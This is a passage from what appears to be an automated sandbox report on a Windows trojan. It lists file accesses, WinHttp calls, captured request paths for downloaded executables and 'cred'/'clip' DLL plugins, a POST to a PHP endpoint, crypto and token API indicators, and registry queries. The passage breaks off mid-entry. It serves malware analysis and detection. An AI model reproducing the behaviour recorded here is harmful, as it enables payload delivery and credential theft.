"C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "DjumWVmCC4B2ivAX9QBh.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "DjumWVmCC4B2ivAX9QBh.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "oZijmS3fJ3DTcP29TRNz.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "explorhe.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "rundll32.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "goldklassd.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "goldklassd.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "goldklassd.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "goldklassd.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "goldklassd.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll"47:Tb15,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "WinHttpSendRequest" with parameters {"hRequest": "8290b0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0" "$error": "2f8f"} "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "WinHttpSendRequest" with parameters {"hRequest": "835a98" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "MPGPH131.exe" called "WinHttpSendRequest" with parameters {"hRequest": "20b000" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0" "$error": "2f8f"} "MPGPH131.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2145f8" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "MPGPH131.exe" called "WinHttpSendRequest" with parameters {"hRequest": "4a7fb8" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0" "$error": "2f8f"} "MPGPH131.exe" called "WinHttpSendRequest" with parameters {"hRequest": "4b73b0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "H71o7LCWTf28gq71qPp8.exe" called "WinHttpSendRequest" with parameters {"hRequest": "15f1d0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0" "$error": "2f8f"} "H71o7LCWTf28gq71qPp8.exe" called "WinHttpSendRequest" with parameters {"hRequest": "170970" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "H71o7LCWTf28gq71qPp8.exe" called "WinHttpSendRequest" with parameters {"hRequest": "1d1910" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "tRR0mZeAIpkePLPN9LrW.exe" called "WinHttpSendRequest" with parameters {"hRequest": "3c8fd0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0" "$error": "2f8f"} "tRR0mZeAIpkePLPN9LrW.exe" called "WinHttpSendRequest" with parameters {"hRequest": "3d02a0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "tRR0mZeAIpkePLPN9LrW.exe" called "WinHttpSendRequest" with parameters {"hRequest": "43cd08" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "RageMP131.exe" called "WinHttpSendRequest" with parameters {"hRequest": "228c68" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0" "$error": "2f8f"} "RageMP131.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2379d0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "RageMP131.exe" called "WinHttpSendRequest" with parameters {"hRequest": "29d9b8" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"}48:T410,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "835a98" "lpReserved": "0"} "MPGPH131.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "2145f8" "lpReserved": "0"} "MPGPH131.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "4b73b0" "lpReserved": "0"} "H71o7LCWTf28gq71qPp8.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "170970" "lpReserved": "0"} "H71o7LCWTf28gq71qPp8.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "1d1910" "lpReserved": "0"} "tRR0mZeAIpkePLPN9LrW.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "3d02a0" "lpReserved": "0"} "tRR0mZeAIpkePLPN9LrW.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "43cd08" "lpReserved": "0"} "RageMP131.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "2379d0" "lpReserved": "0"} "RageMP131.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "29d9b8" "lpReserved": "0"}49:T7d0,Found http requests in header "GET /cost/no.exe" Found http requests in header "GET /cost/niks.exe" Found http requests in header "GET /cost/vinu.exe" Found http requests in header "GET /cost/lada.exe" Found http requests in header "GET /mine/amers.exe" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D" Found http requests in header "GET /geoip/v2.1/city/me" Found http requests in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D" Found http requests in header "GET /gtsr1/gtsr1.crl" Found http requests in header "GET /gts1c3/QqFxbi9M48c.crl" Found http requests in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEA3JuxlUdJhCKVHU%2B892rt4%3D" Found http requests in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D" Found http requests in header "GET /theme/Plugins/cred.dll" Found http requests in header "POST /theme/index.php" Found http requests in header "GET /lego/goldklassd.exe" Found http requests in header "GET /theme/Plugins/clip.dll" Found http requests in header "GET /lego/MONTHRDX.exe"4a:T1316,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfq" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "hLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "P4v0cB1JgmGggC72NkK8MCEATh56TcXPL" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwk" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "cLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJn" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "EaK0gnhS9SZizv8IkTcT4CDQIDvFNZazT" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEA3JuxlUdJhCKVHU%2B892rt4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FkK8CB3U8zNllZGKiErhZcjsCEA3Juxl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEA3JuxlUdJhCKVHU%2B892rt4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCt" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"4b:T145b,file/memory contains long string with (Indicator: "aes"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "aescryptoserviceprovider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "base64"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "createdecryptor"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "createencryptor"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "cryptostream"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "cryptostreammode"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "ToBase64String"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "md5cryptoserviceprovider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "rijndael"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "Rijndaelmanaged"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "RsaCryptoServiceProvider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "niks_1_.exe") Found string "RSACryptoServiceProvider" (Indicator: "RsaCryptoServiceProvider"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "AesCryptoServiceProvider" (Indicator: "aes"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "AesCryptoServiceProvider" (Indicator: "aescryptoserviceprovider"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "RijndaelManaged" (Indicator: "rijndael"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "RijndaelManaged" (Indicator: "Rijndaelmanaged"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "CryptoStream" (Indicator: "cryptostream"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "CryptoStreamMode" (Indicator: "cryptostream"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "CryptoStreamMode" (Indicator: "cryptostreammode"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "FromBase64String" (Indicator: "base64"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "CreateDecryptor" (Indicator: "createdecryptor"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "CreateEncryptor" (Indicator: "createencryptor"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "ToBase64String" (Indicator: "base64"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "ToBase64String" (Indicator: "ToBase64String"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found string "AesFastEngine" (Indicator: "aes"; File: "00000000-00005892.00000000.74777.01132000.00000020.mdmp") Found string "AesGcm256" (Indicator: "aes"; File: "00000000-00005892.00000000.74777.01132000.00000020.mdmp") Found string "FromBase64CharArray" (Indicator: "base64"; File: "00000000-00005892.00000000.74777.01132000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "00000000-00005892.00000000.74777.01132000.00000020.mdmp") Found string "o AES init -" (Indicator: "aes"; File: "00000000-00005892.00000000.74777.01132000.00000020.mdmp") file/memory contains long string with (Indicator: "base64"; File: "identifier_1_.htm") Found string "moc.hcraeserdracerocs" (Indicator: "aes"; Source: "00000000-00000928.00000001.75590.00270000.00000004.mdmp") Found string "moc.5432.hcraesgg" (Indicator: "aes"; Source: "00000000-00000928.00000001.75590.00270000.00000004.mdmp") Found string "ten.mrofdaes" (Indicator: "aes"; Source: "00000000-00000928.00000001.75590.00270000.00000004.mdmp") Found string "ten.mrofdaes.revres" (Indicator: "aes"; Source: "00000000-00000928.00000001.75590.00270000.00000004.mdmp") Found string "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "aes"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found string "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found string "RSACryptoServiceProvider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp")4c:Tb29,Found reference to API "GetProcessById" (Indicator: "GetProcessById"; File: "00000000-00005892.00000000.74777.01132000.00000020.mdmp") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "mrk1234_1_.exe.897699729") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "mrk1234_1_.exe.897699729") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000928.00000000.74635.68C82000.00000002.mdmp, 00000000-00000928.00000001.75590.00AB1000.00000020.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000928.00000000.74635.68C82000.00000002.mdmp, 00000000-00000928.00000001.75590.00AB1000.00000020.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000928.00000000.74635.68C82000.00000002.mdmp, 00000000-00000928.00000001.75590.00AB1000.00000020.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000928.00000000.74635.68C82000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00000928.00000000.74635.68C82000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000928.00000001.75590.00AB1000.00000020.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001568.00000000.75743.0041B000.00000002.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; Source: "00000000-00001568.00000000.75743.0041B000.00000002.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; Source: "00000000-00001568.00000000.75743.0041B000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001568.00000000.75743.0041B000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001568.00000000.75743.0041B000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001568.00000000.75743.0041B000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001568.00000000.75743.0041B000.00000002.mdmp") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001568.00000000.75743.0041B000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001568.00000000.75743.0041B000.00000002.mdmp") Found reference to API "GetModuleHandle" (Indicator: "GetModuleHandle"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp")4d:T416,Found reference to API "GetUserName" (Indicator: "GetUserName"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "00000000-00001568.00000000.75737.00401000.00000020.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "NtOpenProcessToken"; Source: "00000000-00000928.00000001.75590.00AB1000.00000020.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000928.00000001.75590.00AB1000.00000020.mdmp") Found reference to API "NtQueryInformationToken" (Indicator: "NtQueryInformationToken"; Source: "00000000-00000928.00000001.75590.00AB1000.00000020.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00001568.00000000.75743.0041B000.00000002.mdmp") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001568.00000000.75743.0041B000.00000002.mdmp")4e:T12f1,file/memory contains long string with (Indicator: "password"; File: "cQTfUDX0ouAahwF_PpGKOYWZffM44ev1.zip") Found string "ZIndicates if the text in the edit control should appear as the default password character." (Indicator: "password"; File: "00000000-00005892.00000000.74777.01132000.00000020.mdmp") Found string "No Caps LockHCaps Lock is on, which may cause you to enter your password incorrectly." (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") file/memory contains long string with (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Use Internet connection: {0}/Dial-up or broadband with username and password" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Select Your Connection}Select your connection from the list. The connection must have a saved user name and password, and be available to all users." (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Enter Your Dial-Up PassworddEnter the password for the connection you selected. You must use the keyboard to enter the password.P" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Confirm Password5These passwords do not match. Re-enter the passwords./Manually Download the TV Program Guide listings" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Windows Media Center requires an Internet connection with a saved password for all users to automatically download TV Program Guide listings." (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "This feature is not compatible with password-protected screen savers. To use this feature, disable the password protection on your Windows screen saver." (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "password" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Username or password error" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "The username or password entered does not appear to be correct. Verify that the username and password are valid for the shared folder on the other computer.P" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "No username entered0A password cannot be entered without a username." (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Remember my password" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") file/memory contains long string with (Indicator: "secret"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Windows Media Center is unable to connect to the internet. Please check your username and password for your default Internet connection.%0" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Windows Update was unable to connect to proxy server %1 because valid credentials (user name and password) were required, but were either not available or were incorrect. Please check your proxy credentials, and then try searching again for updates." (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Ask for password (NTLM)P" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "You have chosen to make this site available offline and add it to your Active Desktop interface. If this site needs a password, please choose Customize and enter it." (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Type your user name and password for this site." (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "If the site requires a user name and password:" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "This channel requires a user name and password before you can download its content. You should have received this information from the content provider." (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "&Yes, my user name and password are:" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found string "Does this site require a password?" (Indicator: "password"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp")4f:Tad2,Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: no_1_.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: no_1_.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: no_1_.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: no_1_.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: no_1_.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: no_1_.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: no_1_.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: no_1_.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: no_1_.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: no_1_.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: no_1_.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: no_1_.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: no_1_.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: no_1_.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: no_1_.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: no_1_.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: rockrunn_1_.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: rockrunn_1_.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: rockrunn_1_.exe]50:Td19,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DEBUGHEAPFLAGS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: 